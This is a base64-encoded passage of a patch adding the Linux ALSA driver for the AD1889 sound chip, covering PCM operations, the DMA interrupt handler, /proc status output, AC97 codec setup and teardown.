KwkuY2xvc2UgPSBzbmRfYWQxODg5X3BsYXliYWNrX2Nsb3NlLA0KKwkuaW9jdGwgPSBzbmRfcGNt
X2xpYl9pb2N0bCwNCisJLmh3X3BhcmFtcyA9IHNuZF9hZDE4ODlfaHdfcGFyYW1zLA0KKwkuaHdf
ZnJlZSA9IHNuZF9hZDE4ODlfaHdfZnJlZSwNCisJLnByZXBhcmUgPSBzbmRfYWQxODg5X3BsYXli
YWNrX3ByZXBhcmUsDQorCS50cmlnZ2VyID0gc25kX2FkMTg4OV9wbGF5YmFja190cmlnZ2VyLA0K
KwkucG9pbnRlciA9IHNuZF9hZDE4ODlfcGxheWJhY2tfcG9pbnRlciwgDQorfTsNCisNCitzdGF0
aWMgc25kX3BjbV9vcHNfdCBzbmRfYWQxODg5X2NhcHR1cmVfb3BzID0gew0KKwkub3BlbiA9IHNu
ZF9hZDE4ODlfY2FwdHVyZV9vcGVuLA0KKwkuY2xvc2UgPSBzbmRfYWQxODg5X2NhcHR1cmVfY2xv
c2UsDQorCS5pb2N0bCA9IHNuZF9wY21fbGliX2lvY3RsLA0KKwkuaHdfcGFyYW1zID0gc25kX2Fk
MTg4OV9od19wYXJhbXMsDQorCS5od19mcmVlID0gc25kX2FkMTg4OV9od19mcmVlLA0KKwkucHJl
cGFyZSA9IHNuZF9hZDE4ODlfY2FwdHVyZV9wcmVwYXJlLA0KKwkudHJpZ2dlciA9IHNuZF9hZDE4
ODlfY2FwdHVyZV90cmlnZ2VyLA0KKwkucG9pbnRlciA9IHNuZF9hZDE4ODlfY2FwdHVyZV9wb2lu
dGVyLCANCit9Ow0KKw0KK3N0YXRpYyBpcnFyZXR1cm5fdA0KK3NuZF9hZDE4ODlfaW50ZXJydXB0
KGludCBpcnEsIA0KKwkJICAgICB2b2lkICpkZXZfaWQsIA0KKwkJICAgICBzdHJ1Y3QgcHRfcmVn
cyAqcmVncykNCit7DQorCXVuc2lnbmVkIGxvbmcgc3Q7DQorCXVuc2lnbmVkIGxvbmcgbmV4dDsN
CisJc3RydWN0IHNuZF9hZDE4ODkgKmNoaXAgPSBkZXZfaWQ7DQorDQorCXN0ID0gYWQxODg5X3Jl
YWRsKGNoaXAsIEFEX0RNQV9ESVNSKTsNCisNCisJLyogY2xlYXIgSVNSICovDQorCWFkMTg4OV93
cml0ZWwoY2hpcCwgQURfRE1BX0RJU1IsIHN0KTsNCisNCisJc3QgJj0gQURfSU5UUl9NQVNLOw0K
Kw0KKwlpZiAodW5saWtlbHkoIXN0KSkNCisJCXJldHVybiBJUlFfTk9ORTsNCisNCisJaWYgKHN0
ICYgKEFEX0RNQV9ESVNSX1BNQUl8QURfRE1BX0RJU1JfUFRBSSkpDQorCQlhZDE4ODlfZGVidWco
IlVuZXhwZWN0ZWQgbWFzdGVyIG9yIHRhcmdldCBhYm9ydCBpbnRlcnJ1cHQhXG4iKTsNCisNCisJ
aWYgKGNoaXAtPnBjbSAmJiAoc3QgJiBBRF9ETUFfRElTUl9XQVZJKSAmJiBjaGlwLT5wc3Vicykg
ew0KKwkJc3Bpbl9sb2NrKCZjaGlwLT5sb2NrKTsNCisNCisJCWNoaXAtPnN0YXRzLndhdl9pbnRy
Kys7DQorDQorCQljaGlwLT53YXZlLmJ1ZisrOw0KKw0KKwkJLyogY2FsY3VsYXRlIHRoZSBjdXJy
ZW50IHBvc2l0aW9uOiB3ZSBnZXQgaW50ZXJydXB0cyBldmVyeXRpbWUNCisJCSAgIHRoZSBidWZm
ZXIgZW1wdGllcywgdGh1cyBldmVyeSB3YXZlLmNvdW50IGJ5dGVzIHRyYW5zZmVyZWQgKi8NCisJ
CWNoaXAtPndhdmUucG9zICs9IGNoaXAtPndhdmUuY291bnQ7DQorCQljaGlwLT53YXZlLnBvcyAl
PSBjaGlwLT53YXZlLnNpemU7DQorDQorCQkvKiB0aGUgbmV4dCBidWZmZXIgd2lsbCB0aHVzIGJl
IGN1cnJlbnQgcG9zaXRpb24gKyB3YXZlLmNvdW50DQorCQkgICBieXRlcyBhd2F5ICovDQorCQlu
ZXh0ID0gY2hpcC0+d2F2ZS5wb3MgKyBjaGlwLT53YXZlLmNvdW50Ow0KKwkJbmV4dCAlPSBjaGlw
LT53YXZlLnNpemU7DQorCQkNCisJCS8qIExvYWQgbmV3IERNQSBwYXJhbWV0ZXJzIChha2EgInRo
ZSBuZXh0IGNodW5rIiBpbiBCYXNlDQorCQkgICByZWdpc3RlcnM6IHVwb24gbmV4dCBpbnRlcnJ1
cHQsIHRoZXknbGwgYmUgYXV0b21hdGljYWxseQ0KKwkJICAgbG9hZGVkIGluIHRoZSBDdXJyZW50
IHJlZ2lzdGVycywgYW5kIHdlJ2xsIGVuZCB1cCBoZXJlDQorCQkgICBwcmVwYXJpbmcgdGhlIG5l
dyBvbmVzLiBTaW5jZSAiY291bnQiIG5ldmVyIGdldHMgbW9kaWZpZWQNCisJCSAgIGVsc2V3aGVy
ZSB0aGFuIGluIF9wcmVwYXJlLCB3ZSBkb24ndCBuZWVkIHRvIHJld3JpdGUgaXQuICovDQorCQlh
ZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZCQSwgY2hpcC0+d2F2ZS5hZGRyICsgbmV4dCk7
DQorCQkNCisJCWFkMTg4OV9yZWFkbChjaGlwLCBBRF9ETUFfV0FWQkEpOyAvKiBmbHVzaCBhbGwg
dGhvc2Ugd3JpdGVzICovDQorDQorCQlzcGluX3VubG9jaygmY2hpcC0+bG9jayk7DQorDQorCQlz
bmRfcGNtX3BlcmlvZF9lbGFwc2VkKGNoaXAtPnBzdWJzKTsNCisjaWYgMA0KKwkJYWQxODg5X2Rl
YnVnKCJjaGlwLT53YXZlLnBvcyA9ICVkLCBjaGlwLT53YXZlLmNvdW50ID0gJWQsICINCisJCQkJ
ImNoaXAtPndhdmUuc2l6ZSA9ICVkXG4iLCBjaGlwLT53YXZlLnBvcywNCisJCQkJY2hpcC0+d2F2
ZS5jb3VudCwgY2hpcC0+d2F2ZS5zaXplKTsNCisJCWFkMTg4OV9kZWJ1ZygiY2hpcC0+d2F2ZS5h
ZGRyICgweCVseCkgKyBuZXh0ICgweCVseCkgPSAweCVseFxuIiwNCisJCQkJY2hpcC0+d2F2ZS5h
ZGRyLCBuZXh0LCBjaGlwLT53YXZlLmFkZHIgKyBuZXh0KTsNCisjZW5kaWYJCQ0KKwl9DQorDQor
CWlmIChjaGlwLT5wY20gJiYgKHN0ICYgQURfRE1BX0RJU1JfQURDSSkgJiYgY2hpcC0+Y3N1YnMp
IHsNCisJCXNwaW5fbG9jaygmY2hpcC0+bG9jayk7DQorCQkNCisJCWNoaXAtPnN0YXRzLmFkY19p
bnRyKys7DQorDQorCQljaGlwLT5yYW1jLmJ1ZisrOw0KKwkJDQorCQkvKiBjYWxjdWxhdGUgdGhl
IGN1cnJlbnQgcG9zaXRpb246IHdlIGdldCBpbnRlcnJ1cHRzIGV2ZXJ5dGltZQ0KKwkJICAgdGhl
IGJ1ZmZlciBlbXB0aWVzLCB0aHVzIGV2ZXJ5IHdhdmUuY291bnQgYnl0ZXMgdHJhbnNmZXJlZCAq
Lw0KKwkJY2hpcC0+cmFtYy5wb3MgKz0gY2hpcC0+cmFtYy5jb3VudDsNCisJCWNoaXAtPnJhbWMu
cG9zICU9IGNoaXAtPnJhbWMuc2l6ZTsNCisNCisJCS8qIHRoZSBuZXh0IGJ1ZmZlciB3aWxsIHRo
dXMgYmUgY3VycmVudCBwb3NpdGlvbiArIHdhdmUuY291bnQNCisJCSAgIGJ5dGVzIGF3YXkgKi8N
CisJCW5leHQgPSBjaGlwLT5yYW1jLnBvcyArIGNoaXAtPnJhbWMuY291bnQ7DQorCQluZXh0ICU9
IGNoaXAtPnJhbWMuc2l6ZTsNCisNCisJCS8qIExvYWQgbmV3IERNQSBwYXJhbWV0ZXJzIChha2Eg
InRoZSBuZXh0IGNodW5rIiBpbiBCYXNlDQorCQkgICByZWdpc3RlcnM6IHVwb24gbmV4dCBpbnRl
cnJ1cHQsIHRoZXknbGwgYmUgYXV0b21hdGljYWxseQ0KKwkJICAgbG9hZGVkIGluIHRoZSBDdXJy
ZW50IHJlZ2lzdGVycywgYW5kIHdlJ2xsIGVuZCB1cCBoZXJlDQorCQkgICBwcmVwYXJpbmcgdGhl
IG5ldyBvbmVzLiBTaW5jZSAiY291bnQiIG5ldmVyIGdldHMgbW9kaWZpZWQNCisJCSAgIGVsc2V3
aGVyZSB0aGFuIGluIF9wcmVwYXJlLCB3ZSBkb24ndCBuZWVkIHRvIHJld3JpdGUgaXQuICovDQor
CQlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9BRENCQSwgY2hpcC0+cmFtYy5hZGRyICsgbmV4
dCk7DQorCQkNCisJCWFkMTg4OV9yZWFkbChjaGlwLCBBRF9ETUFfQURDQkEpOyAvKiBmbHVzaCBh
bGwgdGhvc2Ugd3JpdGVzICovDQorDQorCQlzcGluX3VubG9jaygmY2hpcC0+bG9jayk7DQorCQkN
CisJCXNuZF9wY21fcGVyaW9kX2VsYXBzZWQoY2hpcC0+Y3N1YnMpOw0KKyNpZiAwDQorCQlhZDE4
ODlfZGVidWcoImNoaXAtPnJhbWMucG9zID0gJWQsIGNoaXAtPnJhbWMuY291bnQgPSAlZCwgIg0K
KwkJCQkiY2hpcC0+cmFtYy5zaXplID0gJWRcbiIsIGNoaXAtPnJhbWMucG9zLA0KKwkJCQljaGlw
LT5yYW1jLmNvdW50LCBjaGlwLT5yYW1jLnNpemUpOw0KKwkJYWQxODg5X2RlYnVnKCJjaGlwLT5y
YW1jLmFkZHIgKDB4JWx4KSArIG5leHQgKDB4JWx4KSA9IDB4JWx4XG4iLA0KKwkJCQljaGlwLT5y
YW1jLmFkZHIsIG5leHQsIGNoaXAtPnJhbWMuYWRkciArIG5leHQpOw0KKyNlbmRpZgkJDQorCX0N
CisNCisJLyogWFhYIHVuZGVyIHNvbWUgY2lyY3Vtc3RhbmNlcyB0aGUgRElTUiB3cml0ZSBmbHVz
aCBtYXkgbm90IGhhcHBlbiAqLw0KKw0KKwlyZXR1cm4gSVJRX0hBTkRMRUQ7DQorfQ0KKw0KK3N0
YXRpYyB2b2lkIA0KK3NuZF9hZDE4ODlfcGNtX2ZyZWUoc25kX3BjbV90ICpwY20pDQorew0KKwlz
dHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCA9IHBjbS0+cHJpdmF0ZV9kYXRhOw0KKwljaGlwLT5wY20g
PSBOVUxMOw0KKwlzbmRfcGNtX2xpYl9wcmVhbGxvY2F0ZV9mcmVlX2Zvcl9hbGwocGNtKTsNCit9
DQorDQorc3RhdGljIGludCBfX2RldmluaXQNCitzbmRfYWQxODg5X3BjbV9pbml0KHN0cnVjdCBz
bmRfYWQxODg5ICpjaGlwLCBpbnQgZGV2aWNlLCBzbmRfcGNtX3QgKipycGNtKQ0KK3sNCisJaW50
IGVycjsNCisJc25kX3BjbV90ICpwY207DQorDQorCWlmIChycGNtKQ0KKwkJKnJwY20gPSBOVUxM
Ow0KKw0KKwllcnIgPSBzbmRfcGNtX25ldyhjaGlwLT5jYXJkLCBjaGlwLT5jYXJkLT5kcml2ZXIs
IGRldmljZSwgMSwgMSwgJnBjbSk7DQorCWlmIChlcnIgPCAwKQ0KKwkJcmV0dXJuIGVycjsNCisN
CisJc25kX3BjbV9zZXRfb3BzKHBjbSwgU05EUlZfUENNX1NUUkVBTV9QTEFZQkFDSywgDQorCQkJ
JnNuZF9hZDE4ODlfcGxheWJhY2tfb3BzKTsNCisJc25kX3BjbV9zZXRfb3BzKHBjbSwgU05EUlZf
UENNX1NUUkVBTV9DQVBUVVJFLA0KKwkJCSZzbmRfYWQxODg5X2NhcHR1cmVfb3BzKTsNCisNCisJ
cGNtLT5wcml2YXRlX2RhdGEgPSBjaGlwOw0KKwlwY20tPnByaXZhdGVfZnJlZSA9IHNuZF9hZDE4
ODlfcGNtX2ZyZWU7DQorCXBjbS0+aW5mb19mbGFncyA9IDA7DQorCXN0cmNweShwY20tPm5hbWUs
IGNoaXAtPmNhcmQtPnNob3J0bmFtZSk7DQorCQ0KKwljaGlwLT5wY20gPSBwY207DQorCWNoaXAt
PnBzdWJzID0gTlVMTDsNCisJY2hpcC0+Y3N1YnMgPSBOVUxMOw0KKw0KKwljaGlwLT5kbWEuZGV2
ID0gJmNoaXAtPnBjaS0+ZGV2Ow0KKwljaGlwLT5kbWEudHlwZSA9IFNORFJWX0RNQV9UWVBFX0RF
VjsNCisNCisJZXJyID0gc25kX3BjbV9saWJfcHJlYWxsb2NhdGVfcGFnZXNfZm9yX2FsbChwY20s
IFNORFJWX0RNQV9UWVBFX0RFViwNCisJCQkJCQlzbmRfZG1hX3BjaV9kYXRhKGNoaXAtPnBjaSks
DQorCQkJCQkJRE1BX1NJWkUsIERNQV9TSVpFKTsNCisNCisJaWYgKGVyciA8IDApIHsNCisJCXNu
ZF9wcmludGsoS0VSTl9FUlIgUEZYICJidWZmZXIgYWxsb2NhdGlvbiBlcnJvcjogJWRcbiIsIGVy
cik7DQorCQlyZXR1cm4gZXJyOw0KKwl9DQorCQ0KKwlpZiAocnBjbSkNCisJCSpycGNtID0gcGNt
Ow0KKwkNCisJcmV0dXJuIDA7DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQorc25kX2FkMTg4OV9wcm9j
X3JlYWQoc25kX2luZm9fZW50cnlfdCAqZW50cnksIHNuZF9pbmZvX2J1ZmZlcl90ICpidWZmZXIp
DQorew0KKwlzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCA9IGVudHJ5LT5wcml2YXRlX2RhdGE7DQor
CXUxNiByZWc7DQorCWludCB0bXA7DQorDQorCXJlZyA9IGFkMTg4OV9yZWFkdyhjaGlwLCBBRF9E
U19XU01DKTsNCisJc25kX2lwcmludGYoYnVmZmVyLCAiV2F2ZSBvdXRwdXQ6ICVzXG4iLA0KKwkJ
CShyZWcgJiBBRF9EU19XU01DX1dBRU4pID8gImVuYWJsZWQiIDogImRpc2FibGVkIik7DQorCXNu
ZF9pcHJpbnRmKGJ1ZmZlciwgIldhdmUgQ2hhbm5lbHM6ICVzXG4iLA0KKwkJCShyZWcgJiBBRF9E
U19XU01DX1dBU1QpID8gInN0ZXJlbyIgOiAibW9ubyIpOw0KKwlzbmRfaXByaW50ZihidWZmZXIs
ICJXYXZlIFF1YWxpdHk6ICVkLWJpdCBsaW5lYXJcbiIsDQorCQkJKHJlZyAmIEFEX0RTX1dTTUNf
V0ExNikgPyAxNiA6IDgpOw0KKwkNCisJLyogV0FSUSBpcyBhdCBvZmZzZXQgMTIgKi8NCisJdG1w
ID0gKHJlZyAmIEFEX0RTX1dTTUNfV0FSUSkgPw0KKwkJCSgoKHJlZyAmIEFEX0RTX1dTTUNfV0FS
USA+PiAxMikgJiAweDAxKSA/IDEyIDogMTgpIDogNDsNCisJdG1wIC89IChyZWcgJiBBRF9EU19X
U01DX1dBU1QpID8gMiA6IDE7DQorCQ0KKwlzbmRfaXByaW50ZihidWZmZXIsICJXYXZlIEZJRk86
ICVkICVzIHdvcmRzXG5cbiIsIHRtcCwNCisJCQkocmVnICYgQURfRFNfV1NNQ19XQVNUKSA/ICJz
dGVyZW8iIDogIm1vbm8iKTsNCisJCQkJDQorCQ0KKwlzbmRfaXByaW50ZihidWZmZXIsICJTeW50
aGVzaXMgb3V0cHV0OiAlc1xuIiwNCisJCQlyZWcgJiBBRF9EU19XU01DX1NZRU4gPyAiZW5hYmxl
ZCIgOiAiZGlzYWJsZWQiKTsNCisJDQorCS8qIFNZUlEgaXMgYXQgb2Zmc2V0IDQgKi8NCisJdG1w
ID0gKHJlZyAmIEFEX0RTX1dTTUNfU1lSUSkgPw0KKwkJCSgoKHJlZyAmIEFEX0RTX1dTTUNfU1lS
USA+PiA0KSAmIDB4MDEpID8gMTIgOiAxOCkgOiA0Ow0KKwl0bXAgLz0gKHJlZyAmIEFEX0RTX1dT
TUNfV0FTVCkgPyAyIDogMTsNCisJDQorCXNuZF9pcHJpbnRmKGJ1ZmZlciwgIlN5bnRoZXNpcyBG
SUZPOiAlZCAlcyB3b3Jkc1xuXG4iLCB0bXAsDQorCQkJKHJlZyAmIEFEX0RTX1dTTUNfV0FTVCkg
PyAic3RlcmVvIiA6ICJtb25vIik7DQorDQorCXJlZyA9IGFkMTg4OV9yZWFkdyhjaGlwLCBBRF9E
U19SQU1DKTsNCisJc25kX2lwcmludGYoYnVmZmVyLCAiQURDIGlucHV0OiAlc1xuIiwNCisJCQko
cmVnICYgQURfRFNfUkFNQ19BREVOKSA/ICJlbmFibGVkIiA6ICJkaXNhYmxlZCIpOw0KKwlzbmRf
aXByaW50ZihidWZmZXIsICJBREMgQ2hhbm5lbHM6ICVzXG4iLA0KKwkJCShyZWcgJiBBRF9EU19S
QU1DX0FEU1QpID8gInN0ZXJlbyIgOiAibW9ubyIpOw0KKwlzbmRfaXByaW50ZihidWZmZXIsICJB
REMgUXVhbGl0eTogJWQtYml0IGxpbmVhclxuIiwNCisJCQkocmVnICYgQURfRFNfUkFNQ19BRDE2
KSA/IDE2IDogOCk7DQorCQ0KKwkvKiBBQ1JRIGlzIGF0IG9mZnNldCA0ICovDQorCXRtcCA9IChy
ZWcgJiBBRF9EU19SQU1DX0FDUlEpID8NCisJCQkoKChyZWcgJiBBRF9EU19SQU1DX0FDUlEgPj4g
NCkgJiAweDAxKSA/IDEyIDogMTgpIDogNDsNCisJdG1wIC89IChyZWcgJiBBRF9EU19SQU1DX0FE
U1QpID8gMiA6IDE7DQorCQ0KKwlzbmRfaXByaW50ZihidWZmZXIsICJBREMgRklGTzogJWQgJXMg
d29yZHNcblxuIiwgdG1wLA0KKwkJCShyZWcgJiBBRF9EU19SQU1DX0FEU1QpID8gInN0ZXJlbyIg
OiAibW9ubyIpOw0KKwkNCisJc25kX2lwcmludGYoYnVmZmVyLCAiUmVzYW1wbGVyIGlucHV0OiAl
c1xuIiwNCisJCQlyZWcgJiBBRF9EU19SQU1DX1JFRU4gPyAiZW5hYmxlZCIgOiAiZGlzYWJsZWQi
KTsNCisJCQkNCisJLyogUkVSUSBpcyBhdCBvZmZzZXQgMTIgKi8NCisJdG1wID0gKHJlZyAmIEFE
X0RTX1JBTUNfUkVSUSkgPw0KKwkJCSgoKHJlZyAmIEFEX0RTX1JBTUNfUkVSUSA+PiAxMikgJiAw
eDAxKSA/IDEyIDogMTgpIDogNDsNCisJdG1wIC89IChyZWcgJiBBRF9EU19SQU1DX0FEU1QpID8g
MiA6IDE7DQorCQ0KKwlzbmRfaXByaW50ZihidWZmZXIsICJSZXNhbXBsZXIgRklGTzogJWQgJXMg
d29yZHNcblxuIiwgdG1wLA0KKwkJCShyZWcgJiBBRF9EU19XU01DX1dBU1QpID8gInN0ZXJlbyIg
OiAibW9ubyIpOw0KKwkJCQkNCisJDQorCS8qIGRvYyBzYXlzIExTQiByZXByZXNlbnRzIC0xLjVk
QiwgYnV0IHRoZSBtYXggdmFsdWUgKC05NC41ZEIpDQorCXN1Z2dlc3RzIHRoYXQgTFNCIGlzIC0z
ZEIsIHdoaWNoIGlzIG1vcmUgY29oZXJlbnQgd2l0aCB0aGUgbG9nYXJpdGhtaWMNCisJbmF0dXJl
IG9mIHRoZSBkQiBzY2FsZSAqLw0KKwlyZWcgPSBhZDE4ODlfcmVhZHcoY2hpcCwgQURfRFNfV0FE
QSk7DQorCXNuZF9pcHJpbnRmKGJ1ZmZlciwgIkxlZnQ6ICVzLCAtJWQgZEJcbiIsDQorCQkJKHJl
ZyAmIEFEX0RTX1dBREFfTFdBTSkgPyAibXV0ZSIgOiAidW5tdXRlIiwNCisJCQkoKHJlZyAmIEFE
X0RTX1dBREFfTFdBQSkgPj4gOCkgKiAzKTsNCisJcmVnID0gYWQxODg5X3JlYWR3KGNoaXAsIEFE
X0RTX1dBREEpOw0KKwlzbmRfaXByaW50ZihidWZmZXIsICJSaWdodDogJXMsIC0lZCBkQlxuIiwN
CisJCQkocmVnICYgQURfRFNfV0FEQV9SV0FNKSA/ICJtdXRlIiA6ICJ1bm11dGUiLA0KKwkJCSgo
cmVnICYgQURfRFNfV0FEQV9SV0FBKSA+PiA4KSAqIDMpOw0KKwkNCisJcmVnID0gYWQxODg5X3Jl
YWR3KGNoaXAsIEFEX0RTX1dBUyk7DQorCXNuZF9pcHJpbnRmKGJ1ZmZlciwgIldhdmUgc2FtcGxl
cmF0ZTogJXUgSHpcbiIsIHJlZyk7DQorCXJlZyA9IGFkMTg4OV9yZWFkdyhjaGlwLCBBRF9EU19S
RVMpOw0KKwlzbmRfaXByaW50ZihidWZmZXIsICJSZXNhbXBsZXIgc2FtcGxlcmF0ZTogJXUgSHpc
biIsIHJlZyk7DQorfQ0KKw0KK3N0YXRpYyB2b2lkIF9fZGV2aW5pdA0KK3NuZF9hZDE4ODlfcHJv
Y19pbml0KHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwKQ0KK3sNCisJc25kX2luZm9fZW50cnlfdCAq
ZW50cnk7DQorDQorCWlmICghc25kX2NhcmRfcHJvY19uZXcoY2hpcC0+Y2FyZCwgY2hpcC0+Y2Fy
ZC0+ZHJpdmVyLCAmZW50cnkpKQ0KKwkJc25kX2luZm9fc2V0X3RleHRfb3BzKGVudHJ5LCBjaGlw
LCAxMDI0LCBzbmRfYWQxODg5X3Byb2NfcmVhZCk7DQorfQ0KKw0KK3N0YXRpYyBzdHJ1Y3QgYWM5
N19xdWlyayBhYzk3X3F1aXJrc1tdID0gew0KKwl7DQorCQkuc3VidmVuZG9yID0gMHgxMWQ0LAkv
KiBBRCAqLw0KKwkJLnN1YmRldmljZSA9IDB4MTg4OSwJLyogQUQxODg5ICovDQorCQkuY29kZWNf
aWQgPSBBQzk3X0lEX0FEMTgxOSwNCisJCS5uYW1lID0gIkFEMTg4OSIsDQorCQkudHlwZSA9IEFD
OTdfVFVORV9IUF9PTkxZDQorCX0sDQorCXsgfSAvKiB0ZXJtaW5hdG9yICovDQorfTsNCisNCitz
dGF0aWMgdm9pZCBfX2RldmluaXQNCitzbmRfYWQxODg5X2FjOTdfeGluaXQoc3RydWN0IHNuZF9h
ZDE4ODkgKmNoaXApDQorew0KKwl1MTYgcmVnOw0KKw0KKwlyZWcgPSBhZDE4ODlfcmVhZHcoY2hp
cCwgQURfQUM5N19BQ0lDKTsNCisJcmVnIHw9IEFEX0FDOTdfQUNJQ19BQ1JEOwkJLyogUmVzZXQg
RGlzYWJsZSAqLw0KKwlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0FDOTdfQUNJQywgcmVnKTsNCisJ
YWQxODg5X3JlYWR3KGNoaXAsIEFEX0FDOTdfQUNJQyk7CS8qIGZsdXNoIHBvc3RlZCB3cml0ZSAq
Lw0KKwl1ZGVsYXkoMTApOw0KKwkvKiBJbnRlcmZhY2UgRW5hYmxlICovDQorCXJlZyB8PSBBRF9B
Qzk3X0FDSUNfQUNJRTsNCisJYWQxODg5X3dyaXRldyhjaGlwLCBBRF9BQzk3X0FDSUMsIHJlZyk7
DQorCQ0KKwlzbmRfYWQxODg5X2FjOTdfcmVhZHkoY2hpcCk7DQorDQorCS8qIEF1ZGlvIFN0cmVh
bSBPdXRwdXQgfCBWYXJpYWJsZSBTYW1wbGUgUmF0ZSBNb2RlICovDQorCXJlZyA9IGFkMTg4OV9y
ZWFkdyhjaGlwLCBBRF9BQzk3X0FDSUMpOw0KKwlyZWcgfD0gQURfQUM5N19BQ0lDX0FTT0UgfCBB
RF9BQzk3X0FDSUNfVlNSTTsNCisJYWQxODg5X3dyaXRldyhjaGlwLCBBRF9BQzk3X0FDSUMsIHJl
Zyk7DQorCWFkMTg4OV9yZWFkdyhjaGlwLCBBRF9BQzk3X0FDSUMpOyAvKiBmbHVzaCBwb3N0ZWQg
d3JpdGUgKi8NCisNCit9DQorDQorc3RhdGljIHZvaWQNCitzbmRfYWQxODg5X2FjOTdfYnVzX2Zy
ZWUoYWM5N19idXNfdCAqYnVzKQ0KK3sNCisJc3RydWN0IHNuZF9hZDE4ODkgKmNoaXAgPSBidXMt
PnByaXZhdGVfZGF0YTsNCisJY2hpcC0+YWM5N19idXMgPSBOVUxMOw0KK30NCisNCitzdGF0aWMg
dm9pZA0KK3NuZF9hZDE4ODlfYWM5N19mcmVlKGFjOTdfdCAqYWM5NykNCit7DQorCXN0cnVjdCBz
bmRfYWQxODg5ICpjaGlwID0gYWM5Ny0+cHJpdmF0ZV9kYXRhOw0KKwljaGlwLT5hYzk3ID0gTlVM
TDsNCit9DQorDQorc3RhdGljIGludCBfX2RldmluaXQNCitzbmRfYWQxODg5X2FjOTdfaW5pdChz
dHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwgY29uc3QgY2hhciAqcXVpcmtfb3ZlcnJpZGUpDQorew0K
KwlpbnQgZXJyOw0KKwlhYzk3X3RlbXBsYXRlX3QgYWM5NzsNCisJc3RhdGljIGFjOTdfYnVzX29w
c190IG9wcyA9IHsNCisJCS53cml0ZSA9IHNuZF9hZDE4ODlfYWM5N193cml0ZSwNCisJCS5yZWFk
ID0gc25kX2FkMTg4OV9hYzk3X3JlYWQsDQorCX07DQorDQorCS8qIGRvaW5nIHRoYXQgaGVyZSwg
aXQgd29ya3MuICovDQorCXNuZF9hZDE4ODlfYWM5N194aW5pdChjaGlwKTsNCisNCisJZXJyID0g
c25kX2FjOTdfYnVzKGNoaXAtPmNhcmQsIDAsICZvcHMsIGNoaXAsICZjaGlwLT5hYzk3X2J1cyk7
DQorCWlmIChlcnIgPCAwKQ0KKwkJcmV0dXJuIGVycjsNCisJDQorCWNoaXAtPmFjOTdfYnVzLT5w
cml2YXRlX2ZyZWUgPSBzbmRfYWQxODg5X2FjOTdfYnVzX2ZyZWU7DQorDQorCW1lbXNldCgmYWM5
NywgMCwgc2l6ZW9mKGFjOTcpKTsNCisJYWM5Ny5wcml2YXRlX2RhdGEgPSBjaGlwOw0KKwlhYzk3
LnByaXZhdGVfZnJlZSA9IHNuZF9hZDE4ODlfYWM5N19mcmVlOw0KKwlhYzk3LnBjaSA9IGNoaXAt
PnBjaTsNCisNCisJZXJyID0gc25kX2FjOTdfbWl4ZXIoY2hpcC0+YWM5N19idXMsICZhYzk3LCAm
Y2hpcC0+YWM5Nyk7DQorCWlmIChlcnIgPCAwKQ0KKwkJcmV0dXJuIGVycjsNCisJCQ0KKwlzbmRf
YWM5N190dW5lX2hhcmR3YXJlKGNoaXAtPmFjOTcsIGFjOTdfcXVpcmtzLCBxdWlya19vdmVycmlk
ZSk7DQorCQ0KKwlyZXR1cm4gMDsNCit9DQorDQorc3RhdGljIGludA0KK3NuZF9hZDE4ODlfZnJl
ZShzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCkNCit7DQorCWlmIChjaGlwLT5pcnEgPCAwKQ0KKwkJ
Z290byBza2lwX2h3Ow0KKw0KKwlzcGluX2xvY2tfaXJxKCZjaGlwLT5sb2NrKTsNCisNCisJYWQx
ODg5X211dGUoY2hpcCk7DQorDQorCS8qIFR1cm4gb2ZmIGludGVycnVwdCBvbiBjb3VudCBhbmQg
emVybyBETUEgcmVnaXN0ZXJzICovDQorCWFkMTg4OV9jaGFubmVsX3Jlc2V0KGNoaXAsIEFEX0NI
QU5fV0FWIHwgQURfQ0hBTl9BREMpOw0KKw0KKwkvKiBjbGVhciBESVNSLiBJZiB3ZSBkb24ndCwg
d2UnZCBiZXR0ZXIganVtcCBvZmYgdGhlIEVpZmZlbCBUb3dlciAqLw0KKwlhZDE4ODlfd3JpdGVs
KGNoaXAsIEFEX0RNQV9ESVNSLCBBRF9ETUFfRElTUl9QVEFJIHwgQURfRE1BX0RJU1JfUE1BSSk7
DQorCWFkMTg4OV9yZWFkbChjaGlwLCBBRF9ETUFfRElTUik7CS8qIGZsdXNoLCBkYW1taXQhICov
DQorDQorCXNwaW5fdW5sb2NrX2lycSgmY2hpcC0+bG9jayk7DQorDQorCXN5bmNocm9uaXplX2ly
cShjaGlwLT5pcnEpOw0KKwkNCisJaWYgKGNoaXAtPmlycSA+PSAwKQ0KKwkJZnJlZV9pcnEoY2hp
cC0+aXJxLCAodm9pZCopY2hpcCk7DQorDQorc2tpcF9odzoNCisJaWYgKGNoaXAtPmlvYmFzZSkN
CisJCWlvdW5tYXAoY2hpcC0+aW9iYXNlKTsNCisNCisJcGNpX3JlbGVhc2VfcmVnaW9ucyhjaGlw
LT5wY2kpOw0KKwlwY2lfZGlzYWJsZV9kZXZpY2UoY2hpcC0+cGNpKTsNCisNCisJa2ZyZWUoY2hp
cCk7DQorCXJldHVybiAwOw0KK30NCisNCitzdGF0aWMgaW5saW5lIGludA0KK3NuZF9hZDE4ODlf
ZGV2X2ZyZWUoc25kX2RldmljZV90ICpkZXZpY2UpIA0KK3sNCisJc3RydWN0IHNuZF9hZDE4ODkg
KmNoaXAgPSBkZXZpY2UtPmRldmljZV9kYXRhOw0KKwlyZXR1cm4gc25kX2FkMTg4OV9mcmVlKGNo
aXApOw0KK30NCisNCitzdGF0aWMgaW50IF9fZGV2aW5pdA0KK3NuZF9hZDE4ODlfaW5pdChzdHJ1
Y3Qgc25kX2FkMTg4OSAqY2hpcCkgDQorew0KKwlhZDE4ODlfd3JpdGV3KGNoaXAsIEFEX0RTX0ND
UywgQURfRFNfQ0NTX0NMS0VOKTsgLyogdHVybiBvbiBjbG9jayAqLw0KKwlhZDE4ODlfcmVhZHco
Y2hpcCwgQURfRFNfQ0NTKTsJLyogZmx1c2ggcG9zdGVkIHdyaXRlICovDQorDQorCW1kZWxheSgx
